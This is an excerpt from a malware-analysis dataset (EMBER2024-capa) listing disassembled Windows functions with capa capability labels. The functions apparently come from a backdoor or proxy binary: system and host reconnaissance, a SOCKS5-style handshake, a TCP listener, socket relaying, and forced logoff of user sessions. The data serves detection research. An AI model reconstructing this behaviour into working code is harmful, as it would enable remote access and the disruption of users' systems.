joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413865
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push esi
push edi
mov ax, word [0x403388]
mov word [ebp - 0x104], ax
mov cl, byte [0x40338a]
mov byte [ebp - 0x102], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x101]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov dx, word [0x40338c]
mov word [ebp - 0x204], dx
mov al, byte [0x40338e]
mov byte [ebp - 0x202], al
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x201]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea ecx, [ebp - 0x204]
push ecx
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
mov ecx, 6
mov esi, 0x403390
lea edi, [ebp - 0x304]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x39
xor eax, eax
lea edi, [ebp - 0x2eb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
mov esi, 0x4033ac
lea edi, [ebp - 0x404]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x3a
xor eax, eax
lea edi, [ebp - 0x3ed]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x304]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
mov dword [ebp - 0x40c], 4
mov dword [ebp - 4], 4
lea edx, [ebp - 0x410]
push edx
lea eax, [ebp - 0x304]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [ebp - 0x40c]
push ecx
lea edx, [ebp - 0x408]
push edx
lea eax, [ebp - 4]
push eax
push 0
lea ecx, [ebp - 0x104]
push ecx
mov edx, dword [ebp - 0x410]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x410]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x408]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4139f5
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push edi
mov eax, dword [0x4033c4]
mov dword [ebp - 0x400], eax
mov ecx, dword [0x4033c8]
mov dword [ebp - 0x3fc], ecx
mov edx, dword [0x4033cc]
mov dword [ebp - 0x3f8], edx
mov al, byte [0x4033d0]
mov byte [ebp - 0x3f4], al
mov ecx, 0xfc
xor eax, eax
lea edi, [ebp - 0x3f3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 0xc]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
mov eax, dword [ebp + 0xc]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0x4033d4
lea edx, [ebp - 0x400]
push edx
push reloc.WS2_32.dll_bind
call fcn.00410d08
add esp, 0x20
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x413a94
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x413bc4
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3a4
mov dword [ebp - 0x140], 0xffffffff
mov byte [ebp - 0x3a0], 0x66
mov byte [ebp - 0x2c2], 0
mov dword [ebp - 0x39c], 0x9c
lea eax, [ebp - 0x39c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
call fcn.004139f5
add esp, 8
push 0x10
push 0
lea edx, [ebp - 0x118]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x3a4], 0x10
lea eax, [ebp - 0x3a4]
push eax
lea ecx, [ebp - 0x118]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa8]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x2f8]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0x32
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x2f4]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.00413865
mov dword [ebp - 0x300], eax
lea edx, [ebp - 0x13c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x264], 0x20
lea ecx, [ebp - 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [ebp - 0x25c]
shr edx, 0xa
shr edx, 0xa
mov dword [ebp - 0x2bc], edx
call fcn.004139a3
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x2c2], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c0], eax
push 0x403076
call fcn.004137fc
add esp, 4
push eax
lea ecx, [ebp - 0x286]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 0x244], 0
mov byte [ebp - 0x108], 0x44
mov byte [ebp - 0x107], 0x65
mov byte [ebp - 0x106], 0x66
mov byte [ebp - 0x105], 0x61
mov byte [ebp - 0x104], 0x75
mov byte [ebp - 0x103], 0x6c
mov byte [ebp - 0x102], 0x74
mov byte [ebp - 0x101], 0
push 0x100
lea edx, [ebp - 0x240]
push edx
call fcn.00413b35
add esp, 8
test eax, eax
jne 0x413d85
mov eax, 0x403044
test eax, eax
je 0x413d77
push 0x403044
call fcn.004137fc
add esp, 4
mov dword [ebp - 0x244], eax
jmp 0x413d83
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x244], ecx
jmp 0x413d91
lea edx, [ebp - 0x240]
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x244]
push eax
lea ecx, [ebp - 0x2b8]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x13c
lea edx, [ebp - 0x3a0]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.00408683
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov esp, ebp
pop ebp
ret
Function at 0x4154e8
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push edi
mov byte [ebp - 0x208], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x218], 0
push 0x4296f0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x429a0c]
add eax, 1
mov dword [0x429a0c], eax
mov ecx, dword [0x429a0c]
mov dword [ebp - 0x214], ecx
push 0x4296f0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 0x10]
push eax
call fcn.004153ab
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x415582
xor eax, eax
jmp 0x415718
cmp dword [ebp - 4], 1
je 0x415598
cmp dword [ebp - 4], 2
je 0x415598
cmp dword [ebp - 4], 3
jne 0x41564b
mov ecx, dword [ebp - 0x210]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0041544e
add esp, 0x10
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jne 0x4155c9
xor eax, eax
jmp 0x415718
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 0x14]
sub ecx, dword [ebp - 0x210]
sub ecx, 7
push ecx
mov edx, dword [ebp - 0x210]
mov eax, dword [ebp + 0x10]
lea ecx, [eax + edx + 7]
push ecx
call fcn.004152d0
add esp, 0x10
mov dx, word [ebp - 0x218]
push edx
lea eax, [ebp - 0x208]
push eax
mov ecx, dword [ebp + 8]
add ecx, 4
push ecx
call fcn.00415c58
add esp, 0xc
test eax, eax
jne 0x415623
xor eax, eax
jmp 0x415718
push 0
mov edx, dword [ebp - 0x20c]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x415649
xor eax, eax
jmp 0x415718
jmp 0x4156c5
cmp dword [ebp - 4], 4
jne 0x4156c5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x208]
push ecx
mov edx, dword [ebp + 0x14]
sub edx, dword [ebp - 0x210]
push edx
mov eax, dword [ebp + 0x10]
add eax, dword [ebp - 0x210]
push eax
call fcn.004152d0
add esp, 0x10
mov cx, word [ebp - 0x218]
push ecx
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp + 8]
add eax, 4
push eax
call fcn.00415c58
add esp, 0xc
test eax, eax
jne 0x4156a1
xor eax, eax
jmp 0x415718
push 0
push 0x403754
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 1
push eax
push 0x403754
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x41570f
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x41570f
lea edx, [ebp - 8]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
push 0x416ac4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x41570d
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x415713
xor eax, eax
jmp 0x415718
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x41571d
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov byte [ebp - 8], 5
mov byte [ebp - 7], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 5
je 0x41574e
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cl, byte [eax]
mov eax, ecx
jmp 0x415920
mov edx, dword [ebp - 4]
xor eax, eax
mov al, byte [edx + 2]
test eax, eax
je 0x415767
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx + 2]
cmp edx, 2
jne 0x4157a4
push 0x42970c
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x41577e
mov byte [ebp - 7], 0
jmp 0x415782
mov byte [ebp - 7], 2
push 0
push 2
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4157a2
xor eax, eax
jmp 0x415920
jmp 0x4157ab
xor eax, eax
jmp 0x415920
movsx eax, byte [ebp - 7]
cmp eax, 2
jne 0x41591b
push 0x100
push 0
lea ecx, [ebp - 0x210]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x100
push 0
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x2000
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0xffffffff
je 0x41580a
cmp dword [ebp + 0x10], 0
jne 0x415811
xor eax, eax
jmp 0x415920
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 1
je 0x415830
xor eax, eax
jmp 0x415920
mov eax, dword [ebp - 0x110]
xor ecx, ecx
mov cl, byte [eax + 1]
test ecx, ecx
je 0x415873
mov edx, dword [ebp - 0x110]
xor eax, eax
mov al, byte [edx + 1]
cmp eax, 0x100
jg 0x415873
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx + 1]
push edx
mov eax, dword [ebp + 0xc]
add eax, 2
push eax
lea ecx, [ebp - 0x210]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x110]
xor eax, eax
mov al, byte [edx + 1]
mov ecx, dword [ebp + 0xc]
movsx edx, byte [ecx + eax + 2]
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
je 0x4158be
cmp dword [ebp - 0xc], 0x100
jg 0x4158be
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx + 1]
mov eax, dword [ebp + 0xc]
lea ecx, [eax + edx + 3]
push ecx
lea edx, [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x42970c
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4158f7
lea ecx, [ebp - 0x10c]
push ecx
push 0x42980c
call sub.MSVCRT.dll_strcmp
add esp, 8
test eax, eax
jne 0x4158f7
mov edx, dword [ebp + 0xc]
mov byte [edx + 1], 0
jmp 0x4158fe
mov eax, dword [ebp + 0xc]
mov byte [eax + 1], 0xff
push 0
push 2
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x41591b
xor eax, eax
jmp 0x415920
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x415924
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x42a3dc
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x41594a
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x4159ae
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp - 8]
cmp dword [edx + eax*4], 0
je 0x4159ae
mov ecx, dword [ebp + 8]
mov byte [ecx], 0
mov dword [ebp - 0x1c], 0
jmp 0x415977
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 4]
movsx ecx, word [eax + 0xa]
cmp dword [ebp - 0x1c], ecx
jge 0x4159ac
cmp dword [ebp - 0x1c], 0
jle 0x41599a
push 0x403794
mov edx, dword [ebp + 8]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x41596e
jmp 0x415941
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret

Function at 0x4159b5
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4159d9
xor eax, eax
jmp 0x4159f0
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esp, ebp
pop ebp
ret

Function at 0x415c58
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x10], 2
mov cx, word [ebp + 0x10]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
je 0x415ca1
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
jmp 0x415ccd
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004159b5
add esp, 4
test eax, eax
je 0x415cc9
mov edx, dword [ebp + 0xc]
push edx
call fcn.004159b5
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
jmp 0x415ccd
xor eax, eax
jmp 0x415d39
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
cmp dword [edx], 0xffffffff
jne 0x415cea
xor eax, eax
jmp 0x415d39
mov dword [ebp - 0x14], 0x258
push 4
lea eax, [ebp - 0x14]
push eax
push 0x1006
push 0xffff
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x415d34
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x415d39
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x415d3d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0041571d
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x415d6e
xor eax, eax
jmp 0x415e57
cmp dword [ebp - 4], 4
jne 0x415da3
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 2
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004159f4
add esp, 0x14
test eax, eax
jne 0x415d99
xor eax, eax
jmp 0x415e57
mov eax, 4
jmp 0x415e57
push 0
push 0x2000
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0xffffffff
je 0x415dc9
cmp dword [ebp + 0x10], 0
jne 0x415dd0
xor eax, eax
jmp 0x415e57
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx]
cmp eax, 5
je 0x415de6
xor eax, eax
jmp 0x415e57
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 3]
cmp edx, 1
je 0x415e00
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 3]
cmp ecx, 3
jne 0x415e2b
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 3]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004159f4
add esp, 0x14
test eax, eax
jne 0x415e29
xor eax, eax
jmp 0x415e57
jmp 0x415e2f
xor eax, eax
jmp 0x415e57
mov edx, dword [ebp - 8]
xor eax, eax
mov al, byte [edx + 1]
cmp eax, 1
je 0x415e49
mov ecx, dword [ebp - 8]
xor edx, edx
mov dl, byte [ecx + 1]
cmp edx, 3
jne 0x415e55
mov eax, dword [ebp - 8]
xor ecx, ecx
mov cl, byte [eax + 1]
mov eax, ecx
jmp 0x415e57
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x415e5b
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0x10
push 0
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x24], 0x10
mov word [ebp - 0x20], 2
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x1e], 0
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
jne 0x415ea7
xor eax, eax
jmp 0x415f0d
push 0x10
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x415ec0
xor eax, eax
jmp 0x415f0d
mov dword [ebp - 0x28], 0x258
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [ebp - 0x12c]
push edx
call fcn.00415924
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 8]
mov ax, word [ebp - 0xe]
mov word [edx + 8], ax
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x41630f
Capabilities:
Create tcp socket
Create thread
Initialize winsock library
Start tcp server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x416335
xor eax, eax
jmp 0x416478
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xffffffff
jne 0x416357
xor eax, eax
jmp 0x416478
mov word [ebp - 0x1b0], 0
xor ecx, ecx
mov dword [ebp - 0x1ae], ecx
mov dword [ebp - 0x1aa], ecx
mov dword [ebp - 0x1a6], ecx
mov word [ebp - 0x1a2], cx
mov word [ebp - 0x1b0], 2
mov dx, word [0x429708]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1ae], ax
mov dword [ebp - 0x1ac], 0
push 0x10
lea eax, [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x4163c5
xor eax, eax
jmp 0x416478
push 0x32
mov edx, dword [ebp - 0x19c]
push edx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x4163e0
xor eax, eax
jmp 0x416478
mov dword [ebp - 4], 0xffffffff
mov eax, 1
test eax, eax
je 0x416478
push 0
push 0
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.WS2_32.dll_accept]
mov dword [ebp - 4], eax
push 8
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x416423
jmp 0x4163e7
mov edx, dword [ebp - 0x1a0]
mov eax, dword [ebp - 4]
mov dword [edx], eax
lea ecx, [ebp - 0x198]
push ecx
push 0
mov edx, dword [ebp - 0x1a0]
push edx
push 0x415f11
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jne 0x416466
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x416473
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4163e7
mov esp, ebp
pop ebp
ret

Function at 0x416670
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
cmp dword [ebp - 0xc], 0
jle 0x4166d1
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.WS2_32.dll_sendto]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4166bd
or eax, 0xffffffff
jmp 0x4166d4
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jmp 0x41668a
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x418a52
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 1
push 0x403814
call fcn.0041e39a
add esp, 8
mov dword [ebp - 4], 0
jmp 0x418a7c
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x418a98
push 0
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov eax, dword [edx]
push eax
push 0
call sub.WTSAPI32.dll_WTSLogoffSession
jmp 0x418a73
mov ecx, dword [ebp - 8]
call fcn.00419394
push 0
push 0x403828
call fcn.0041e39a
add esp, 8
mov esp, ebp
pop ebp
ret 8

Function at 0x418ab5
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 1
push 0x40383c
call fcn.0041e39a
add esp, 8
mov dword [ebp - 4], 0
jmp 0x418adf
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x418afb
push 0
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov eax, dword [edx]
push eax
push 0
call sub.WTSAPI32.dll_WTSDisconnectSession
jmp 0x418ad6
mov ecx, dword [ebp - 8]
call fcn.00419394
push 0
push 0x403850
call fcn.0041e39a
add esp, 8
mov esp, ebp
pop ebp
ret 8

Function at 0x418b57
Capabilities:
Get session information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push edi
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 5
mov edx, dword [ebp + 8]
push edx
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationW
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0
jne 0x418b90
xor al, al
jmp 0x418bfc
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov byte [ebp - 0x30c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x30b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0
push 0x104
lea eax, [ebp - 0x30c]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x208]
push ecx
push 0x200
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edx, [ebp - 0x30c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x418c01
Capabilities:
Get session information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
push 0x10
mov edx, dword [ebp + 8]
push edx
push 0
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x418c6f
mov eax, dword [ebp - 4]
mov cl, byte [eax]
mov byte [ebp - 0x14], cl
cmp byte [ebp - 0x14], 0
je 0x418c4d
cmp byte [ebp - 0x14], 1
je 0x418c56
cmp byte [ebp - 0x14], 2
je 0x418c5f
jmp 0x418c66
mov dword [ebp - 8], 0x403864
jmp 0x418c66
mov dword [ebp - 8], 0x40386c
jmp 0x418c66
mov dword [ebp - 8], 0x403870
mov edx, dword [ebp - 4]
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4